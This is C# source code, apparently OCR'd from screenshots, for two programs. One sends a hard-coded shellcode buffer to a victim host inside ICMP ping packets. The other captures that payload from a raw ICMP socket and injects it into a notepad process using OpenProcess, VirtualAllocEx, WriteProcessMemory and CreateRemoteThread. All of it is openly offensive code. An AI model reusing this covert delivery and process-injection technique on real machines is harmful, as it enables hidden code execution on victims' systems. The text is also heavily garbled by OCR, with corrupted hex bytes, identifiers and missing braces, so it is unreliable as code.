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using System.Net.NetworkInformation;

namespace shellcodeInjector

{

class Program

{

public static void sendShellcode()
{

Ping pingSender = new Ping(Q);

int timeout = 10000;

byte[] buf = new byte[311] {0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd
0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48 ,0x8b,0x52,0
x60,0x3e,0x48,0x8b,0x52,0x18 ,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48
,0x0f ,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xcd,0xac,dx3c,0x61,0x7c,0x02,0x2c,0x20,0x
41,0xcl,0xc9,0x0d,0x41,0x01,0xcl,0xe2,0xed,dx52,0x41,0x51,0x3e,0x48 ,0x8b,0x52,0x20,0x3e,
0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88 ,0x00 ,0x00 ,0x00 ,0x48 ,0x85,0xcO,0x74,0x6
f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0
x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6 ,0x4d,0x31,0xc9,0x48,0x31,0xcO
,0xac,0x41,0xcl,0xc9,0x0d,0x41,0x01,0xcl,0x38,0xed,0x75,0xf1l,0x3e,0x4c,0x03,0x4c,0x24,0x
08,0x45,0x39,0xd1,0x75,0xd6,0x58 ,0x3e,0x44 ,0x8b ,0x40 ,0x24 ,0x49,0x01 ,0xdd ,0x66,0x3e,0x41,
0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04 ,0x88 ,0x48 ,0x0
1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,d
x20,0x41,0x52,0xff,0xed,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff
,0x5d,0x49,0xc7,0xcl,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,dx
4c,0x8d,0x85,0x0d,0x01,0x00,0x00,0x48 ,0x31,0xc9,0x41,0xba,dx45,0x83,0x56,0x07 ,0xff,0xd5,
0x48,0x31,0xc9,0x41,0xba,dxfd,0xb5,0xa2,0x56,0xff,0xd5,0x50,0x69,0x6e,0x67 ,0x20,0x49,0x6
e,0x6ad,0x65,0x63,0x74,0x69,0x6f ,0x6e ,0x00,0x53,0x68 ,0x65,0x6C,0x6C,0x63,0x6f ,0x064 ,0x65,0
x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f ,0x6e ,0x20,0x76,0x69,0x61,0x20,0x50,0x49,0x4e
,0x47,0x00 %,

PingOptions options = new PingOptions(64, true);
pingSender.Send("VictimPrivIPHere", timeout, buf, options);



static void Main(string[] args)

{
sendShellcode();

pinglnjection.cs

using System;

using System.Net;

using System.Net.Sockets;

using System.Runtime.InteropServices;

namespace PingInjection

{
class Program
{
[D11Import("kernel32.d1l1", SetlLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int pr
ocessID);

[D11Import("kernel32.d1l1", SetLastError = true, ExactSpelling = true)]

static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr IpAddress, uint dwSi
ze, uint flAllocationType, uint flProtect);

[D11Import("kernel32.d11")]

static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr 1pBaseAddress, byt
e[] lpBuffer, Int32 nSize, out IntPtr 1pNumberOfBytesWritten);

[D11Import("kernel32.d1l1")]

static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr 1pThreadAttribut
es, uint dwStackSize, IntPtr 1lpStartAddress, IntPtr 1pParameter, uint dwCreationFlags, I
ntPtr 1pThreadId);

public static void shellcodeInjection(byte[] shellcode)

{
int notepadPID = 7972;

IntPtr hProcess = OpenProcess(@x001FQFFF, false, notepadPID);

IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

byte[] buf = shellcode;

IntPtr outSize;

WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, @, addr, IntPtr.Z
ero, @, IntPtr.Zero);

3

public static byte[] getShellcode()
{

Socket icmplListener = new Socket(AddressFamily.InterNetwork, SocketType.Raw,
ProtocolType.Icmp);

icmpListener.Bind(new IPEndPoint(IPAddress.Parse("192.168.0.15"), 0));

icmplListener.I0Control(I0ControlCode.ReceiveAll, new byte[] { 1, @, 0, 0 },



new byte[] {1, 0, 0, @ });
byte[] buffer = new byte[4096];
EndPoint remoteEndPoint = new IPEndPoint(IPAddress.Any, 0);
byte[] shellcode = new byte[4068];

var bytesRead = icmplListener.ReceiveFrom(buffer, ref remoteEndPoint);
System.Buffer.BlockCopy(buffer, 28, shellcode, @, 4068);
return shellcode;

static void Main(string[] args)

{
byte[] shellcode = getShellcode();
shellcodelInjection(shellcode);
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